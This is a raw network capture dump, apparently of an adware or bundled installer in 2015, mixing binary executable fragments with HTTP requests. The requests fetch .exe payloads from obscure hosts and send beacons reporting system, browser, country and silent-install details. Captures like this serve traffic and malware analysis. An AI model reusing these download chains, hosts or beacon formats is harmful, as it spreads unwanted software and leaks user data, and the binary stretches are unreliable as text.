./\v..n...i..A....O0DJ....;...nv..ta..`..y.*....<I.x.UT......A..Y.x
i....oMy.B....._Q........$.?<Su..=..v.T....<.. .....t.1.......J.
.....R....K.Ob. I..8.....B......{X..0a.fB.{..NZ |B.t..G,...\....A$....
......Jm0..aw.r...X..D...8.......o,......g.F.c. .....%>@...........
w...'X.~......O._.....x.X...C..X."|yX..F...e........8.:%..%F!vb...A.1.
l....C...>.:.P.y...O..sq..*.Y4..>.X.p..=(~b....(vJ....h....f.!..
.3...KE \.....F..".........)R)B.F..U>...}.\....0b.....;..Cr.]M3.2.1
.N....!.s.4&.....W.......c.f6...|.k.}..C..vlb...;9w(W.o..H\...........
.... ...h...mc.f.....u.A1....'Kv7..-$..{.....J0.x.D.h....?.)....b.....
....t....j...3.......... .L;....$.....e.......40..j..0Q.%.k.T.......\.
..^.....o%.<...W9.......b9.7..0./<f.a.|-.?.|x......X7([email protected].<
;.O&.M|?..l..o..5.x..m......`.0...1.D..I...%d`........^.".:.c4..n..NOg
..../[.........f6t......E.{:..{.FT.....}...o h.*..K.J...B...........,.
.2!~ [email protected](.8....9.:.$..-.LR..Y;.P.C.R...6!.i.m.....m.w.*.p...;.....(.
...[....D...e...*.l....e....>:...4<R..l....B....c...Xn.u.9.D.T..
..2/..}.s.}."....J..Q.>.........;..K.x.....HK,...!...L.A.6FW..^..uQ
........`w.0}....".....~I.3..*...._.|........; .r...4..>r..8.-...]7
.g...<.4.^...:Y_y!......#.Y.^'.y...$...c0]..QNN...!.....d...2 ..V.6
...`.W<.r..j......S.Y...~.0.B../..m...ld....8..r...p88.}...P...
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=10000000-10249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



6..


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=10250000-10499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=10500000-10749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=10750000-10999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:52 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049700"
Last-Modified: Sun, 26 Apr 2015 12:01:40 GMT
Cache-Control: max-age=364
Content-Length: 250000
Content-Range: bytes 10750000-10999999/12501386
Content-Type: application/x-msdownload
X-HW: 1430092553.dop018.am4.t,1430092552.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
..6.>~.u...i....*"K_6vs...un7..L2.L7_g....8...n..H.z......^..S..f_.
..].2...[4...*.\....@j".?....._.)..............m..S... 24R.9$".O.o...d
6...e-..l..H....i..=........./.....,..jL...S.$-...Lb"....x....&.......
....J...i" x.I.I...k}.j....7....^.>.....2.....a.2..A.w.....g..N3...
.....(.|.r...>.CD,..!$ 6 S.....q<#m..B6^4.x.<..Ix....e.C..<
;...I............9...Z*........n..("}.QCN.....o6%.].@]..X? m..........
..g..j1..*."..0:....h...._.....L.X..LM...N..M..i:{.Z..Py..s..u.Q..$.\.
..J.'....P.....>;.z./U.,....2.....I.|...........O..............Mv'.
[email protected][email protected]..,]1....w.....?w>....G....a.g.....9,?...
..4..G...1.G.....d.g..V.}....W...P.m~.....]@...G.....G..5.E.o....w....
.D.L..~.t..MV....M....]N..?Xa...n...7.:.m@$Rnp."<.}w.....l#..7...$.
c.x..../%M.ZS? \.2.....xu.^...A7p..v.p...s........:.-....,.[z._..,....
......3.v...0...........'.``......U@wm;.O..p...-.q#..9.......T.....'..
9y......."f4'.oB.... i:.........f.)Jr.c3!.gw.(h.J.t.'..#F*1...0...@xS.
....,...B....p.<,..........Ef.M..n..v.".2....Y.....rz...{.*.#.1....
....28.wL....0#.............y.=..[.\.Q.W8./P.....!.......'...` .~.... 
.........r..f.z5...0i7X..EN..K.ZU7..|"....}.7.'....]S...8..^|...L.....
..7..F..B.c.2..[.."...S1..E..0..#.7X.'-Ak....X...H7.......V..@. ......
....P?...Gc...........nP... ...Z.....x,....0..d...Aj..~mO..8.v....0.a.
......p6...l!~.F..`.}.j.N.[.C...E!W.j...%[email protected]#..h..;.n{.
..=.....z9..B.....CR.~]..0=!.lYh..O.l..V<.=.UdgX.....*..7.n.?......
.I...."8..I_...Rt.V.].0..S30Zs?...#.@(.z........{/..`..{..u.......
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=11000000-11249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=11500000-11749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=11750000-11999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=12000000-12249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=12250000-12499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



G.....*E.k.Z`......Z..@.!...wn{:.......NF.w...YG..3..M.T....Q..Cx.fw.5
....n..'...[.1Td...$#i...Z.7p.e..c...T..X...._G .Q...w..[t].X....Q..& 
dP.^|.Z.T.t...M..x. ..:y...>v.5.huIQ..C6.i.z.,..D.&QL....._....4...
..m..Ey..6......#)".4...t.t.j7.U.d.nM..*.8W....F.2.......e...;.CM}=...
.D.m.. .. m..6z..l....Fs .:T..a==2...*.bJo.jm.........a.V..|D../..{"..
./..l..L......`Ece...5[.qZ...%....o&.}<....;.{...a......`.&..:.3@..
^..eL.K..g?..>,x.....v............:2}.e......Z:.(..U....#.}.....\..
$]..9.x.....X#...90r%3{.Y.....g..3...H....T!..'0|..b..cY.^7.b.]i..j.A.
.M=..QZf....` ...#l.D......7... ....k..f.`..<...{X.....MB[....7\&..
.l..k\..U|U.Vn..*...~.{l.V....e..&..3dN....q....rX....s.p:..%8Vp<7.
.b.,...}....,;i<....0........u2.\.. ,.z..v...LM...dtcC.....I\ .L...
..*.....9.R..J7.P...r.........^9.m.......[........x.7.......m.,.8.....
.!Chx...].....Q.?2.............0.E...\.....V..S......3.1I8*..e.>r 4
....F...T. ...1..U...V]...........S....O.Y9[.C.([email protected].
..Y....k.....?.@..[>.......2*[email protected]*.%c..J....Z.=.5...
...B.).q`.o.............G...w....JB.......'[.....FQ8.....$..Cj8...x8.`
w....-a.t..0...u..\bI......^9.'V.D..O.....!!~f...-..|.....|.G%...sy2..
..q ..5...5l$.p#...{Tp!.B..(...9....5G..B$.i.a!.^lR.:7...<.F"..r...
......8.~.}[email protected]{.L.5..9..7......p=\......\~.[
..b{..r..0....v.>=......R.E...'....m.Y..y1buc.7..l..s0F.J(n..7....o
[email protected]..\-...T..M...l-........0&{.2\.8.M_...-....[t-.W.,d@.
.....l.fW..n....../.



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=139160-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 417480
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 139160-556639/556640
E.#.u..M....E..E.#.;.tD=....t)[email protected]"=....t)[email protected]"[email protected]...
..M......#.;.u..E.....E...E...........3..E.@.}........E......#.=...@..
....=....tq;...y....E.;...n......v....v .....[.....E.3.H......H..G....
E.....j......j.WW.6..........t.WWW.6.....#....;.......j..E.P.6..v.....
;...w......tj..........}.....uX.E........E.;............i........W...j
.WW.6............J...WWW.6........#.;.............E.%....=....u..6..}.
.Y.l...j.^.0.u.._...=....u.Wj..6.$......;........E...>WW.6.........
..E.....j.[.. .P.D=.P.6.Q.................;.................LG........
D.$..2M....0............LG........D.$.M...............}....u!.E..t....
...........LG.....D.... .M......#.;.u~.E..tx.u.....E.j..u..E.j.P.u..E.
%....P.u...L.E.;.u4....E.P.e.................LG.....D... ..6.....Y....
..6.........LG...........E..V...SSSSS.BG...j.h..F..R`...M..3..}.3.9}..
..;.u.............bG......r.}[email protected]..|.......E..E.........
..u.;.t<......0..3.9}.t 9}.t..E.....M...........LG..D... ..u......Y
..E..._...j.h..F..._..3..}.3..u.;....;.u......j.^.0..F.....Y...3.9}...
.;.t.9}.t..E.%........@t..}..u..u..u..u..E.P...........E..E...........
E.;.t.....e_...3..u.9}.t(9}.t..................LG..D... ..6.....Y...U.
.j..u..u..u..u..u..!......]...U.....S.u..M..D...3.9].u.8].t..E..`p.3..
.....E.9X.u&.u..u..u.........8]........M..ap......9].u&.............E.
.8].t..E..`p.......f...W.}.;.u&............bE..8].t..E..`p.......7...V
.M.....M..E.....D....M.te9].u.....D....].......f........U...:.u..]..T.
.....f...E....f...M.f;p.r.f;p.w.f.p..1f;p.r f;p.w%f.p.....U.....A.
<<< skipped >>>


GET /24100.ashx?e=W5y9y1UrGBmQVExL/6LI8KMCiGTW9oqh1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QXsV5C8Q5KKr31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o2uwjb78QzN9FYm5VRTy/qYKbHXQ3LZlHwdE4jBu2OwY8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qoojBDOS6rsND6pqgVuVy 5fXvfdY6g9CW/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBQmPetOmdD2y0spO0TjBY5oHYTMsAsV99LYjmZ2vbcH4JxFCNxfHIM= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=W5y9y1UrGBmQVExL/6LI8KMCiGTW9oqh1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QXsV5C8Q5KKrqUVvKp9Lg9XHvdM54V2LCI4G r 3F6T7B28jN/IR4nVi6hMIdMwrqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=qIQu8 l0/f2BXOBJ2d DUYNyeWLBMDk9QF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0jRWOlrNcG0Oh2929J aMXc4cRSAFxEenVSP HSwgTuAr0pwYD3uurdSSaUQFDqWEnmP3t8anGDfaBolk2nkam5JVMomSqmf/cEv 7r5M40TRSDnJgw6QhBQC drCF7eF5GrYQssP4wOoVp8udoc6545aVH6/7KX12M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozKSHWriQys9eBFNv0x54AMdWxJlEYwI4I106EYFdMaz186G4ySdX96Tg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430092564&procruntime=2&rnd=1430092566 HTTP/1.1
Host: stats.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 06RXdZeGUHujVDijUMTSDiEwW5cYtIIUhWNhha441fZvBEwCLZW3gzSvzafj6M k
x-amz-request-id: E1A2ADAC828A1921
Date: Sun, 26 Apr 2015 23:56:09 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 06RXdZ
eGUHujVDijUMTSDiEwW5cYtIIUhWNhha441fZvBEwCLZW3gzSvzafj6M k..x-amz-requ
est-id: E1A2ADAC828A1921..Date: Sun, 26 Apr 2015 23:56:09 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=15&rnd=1430092579 HTTP/1.1


Host: stats.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 5eddeirVKojhG47HoMz zfJYeuzuM66ggL499qNwEtMZNwWL8nj5BTWpY50YmNaM
x-amz-request-id: AF9F7DE149D36016
Date: Sun, 26 Apr 2015 23:56:22 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430092564&lifetime=0&silent=1&crtnm=na&procstarttime=1430092564&procruntime=15&rnd=1430092579 HTTP/1.1


Host: stats.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Y/WgNCBqeXZJCDCV7ca5y9OpDLz0vj OuXagrlMnU6hXAVa77MEMz3sLSMNA8N5I
x-amz-request-id: 14868D0029F7CF29
Date: Sun, 26 Apr 2015 23:56:22 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Y/WgNC
BqeXZJCDCV7ca5y9OpDLz0vj OuXagrlMnU6hXAVa77MEMz3sLSMNA8N5I..x-amz-requ
est-id: 14868D0029F7CF29..Date: Sun, 26 Apr 2015 23:56:22 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728165-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192576 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192576 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET /yta33_full.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/7590800
....A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R.&...T$
9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne.$..|Zv
'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YHsL.....
.l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O...-.^.S.
.TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-WXTl...
...H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&.........eD.ig.
PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....<. I
!........Y....u[@.`............u......C8.6...`..0.......[........0...^
............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e<.#.
.....#...~....U).1G"`...n.........<...0;..h...#....h.....".o.NW".(.
,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0>x..
n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G.!.[...
hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h.eS.0..
.. .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(V...P..
........C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.X...$..
.9..}... ..{.....]. n.....6..i....o.{[email protected].$.
..H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ..R.....
7.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected].:..
.B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs"..n.../.
...7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/.-...y.
..z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..xVL,vA.
w].&5].?A6A.....6Q.v.6...zU*..~:..bGh......GM.3.c%.}.....L.4.C....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 750000-999999/7590800
..|.b..dA..z..j...I.1..../..5.!5...L.'..?|.2...'(.......a.....3:3.i...
E4./...Y"..VH.bn"..IC".....Nvf^oN.1..S=.@}....YvV..?..%{......&.^.c.=.
....1m.N.[........o.<............v.|.....n.L8}d..<oz.z`6pv..%..6
rm."./.....q..y.......!.`.....}....i.....'..".hT.....]......4G.8A.....
|.4S.._.*J.".\e..r|....`.....,].....SR.?{GV......;....!.r~i`._....z.M.
y..c..y...v....rW.aT..q.q.m6dB...s.I.*....W......u.......Fc..Y.69Q....
.%....%....U~..=.........X.I.y.K...gY.>.T.....9g ?p\~...... *.q....
...b.A..Nq^."..R'S..W.1......>..`<4.....yCh*-.!.}E.g..i......../
......]...c.v.k....8..?.G.l.........5..........g..}.2.O.l..r._..q..G}.
......3Z.....}.....O..p..,Y..4.'j...L....@ ..$.~U.....6.O..Fa.).V....b
U...].... ^oz...@.....)...:.s.{.u........%.K_&f...*..f>...o9.1.....
.pH....-........a.u!.}s.......A.m........M.=<[email protected].......
.3... ..6.......<..r.....=0.3G.d.M."|..\.:.1.K....y4D..Oh.....=....
zq.z<.h..o..F.a{o3..J...r/.l*l.AE.."&.!..;.dK.3...)@.......f.u....-
..EI.c...v....N.T.U@.........*.mZ.... ....~..e.x.....C.A..G.#4........
g...,....9.-........k..|.\.w).>(Ao...%@...d.}.c...H... .JCQ6. 6jX4.
..Q.....zx)....y.....).......\v.... F...S.:mKd...,.1C #[email protected]
.3. .g.^.G..o=.2)....I.....gP...&4...=..................q..|.l2..1..8R
...:;60a.@.$..J1H.}.......!W..`..p..h.^t.....D..\...1.O.An.....4......
.K...\I#...\....;5.Tj.M).to,[email protected]..#.C>c..0 .q..4......
...Y.<...K...D.:?.......b..?...{^.a8........H...N&.$G8.........%Bg.
.F....K*Q.c8%`..l..4..I..$E5w......0$..#....pl6..W.....3.R.....2..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1250000-1499999/7590800
.#E.,.F...:-....B...M6.....f.C....V [email protected]. ......X...I.:E.'i.
%..2.c...$...0`......B.m ..OR...y....... ...@3...%y.<S,..m3......j.
.yg..Y..n}%...C..F....Fc.7b.oQ.K.......!......Dt.....J.Hf......@...?-.
_.........F..Y.k...P...2K......J..*.c..f..........=U.....aR....DV.C...
..v5.CI.o........On.../.!U.GSz.~S..Mf........{[email protected]&
lt;....&....K..2..:....C"..-..N....O2...iQ$......xvK..=.#.'7..<4.(X
.`.,RF..n...V^..9...KT......,.M.9.'I7sY.7.}V......%.......^...ltZ{y...
*..3......`Y.........T7..q........7.ad..0.^..`...nQ..I.SJ......x....q.
,S.v..N..e=.G...X.w...%>..g......o^b......c......R...$!.U?4.:x.8...
._.R-..f...0D.j...0.q(..x).#.]...dj`jB-40K..<#.......'..V&tN."..>
;[email protected][email protected]".p.g...
[email protected].^....*.T3"QJ.....&..F...... o...3x...
...!....>..\.!...f0.-.......l#[email protected]..."..../.=n|.;F~G
(s...[....P...E|..vUl. .tK.!Ki...w.7.....Av .bg.#.`K.v.J|.!S..]...?...
.....h.....h..t*...r...w.....t%.W........\C..n..{Jm.............F.....
..n..V..b...b..s.,.....3..?v.Q.H..=U.V.....%....6^B...d.F..O3.n.m.:.k.
.{^...T..4..........$.........b.{.):..w.a.}...$...ctW.o...6`).!.Za...H
.....Z.....'m?..w.<..]..$...M..`W%9t0.....>.;>.n....7..Z.....
#.._...G.\..j.....5.T..{..9..Bq..l6......Dn.%.s..:..I.9..C..|X..}/I.. 
.OJ.C..y]....$h.8.W2..CvM.d>...[..3)...'..3O..3>...t...>...L.
. )...V.....'.Hi..U.nM;R$.3*....2|b.|....v].9...-..I .m... .........h.
....GC.$sNq..e68.J.B...r..0<....3.........^.&...k.....HDt......
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1750000-1999999/7590800
es5c......9..q...ce!....].\4....BZH.?....:..R....%2y.W`.....g....J.?7.
,1.S...P...c.C.RmXZA.........Fqs....m...Z .-,.m.......'.G...8(.~.:.Y1.
..BH.e.;RPA..0.y$<7.=....v.._..y....{.5.z.....^..{'D.N.......Hw...2
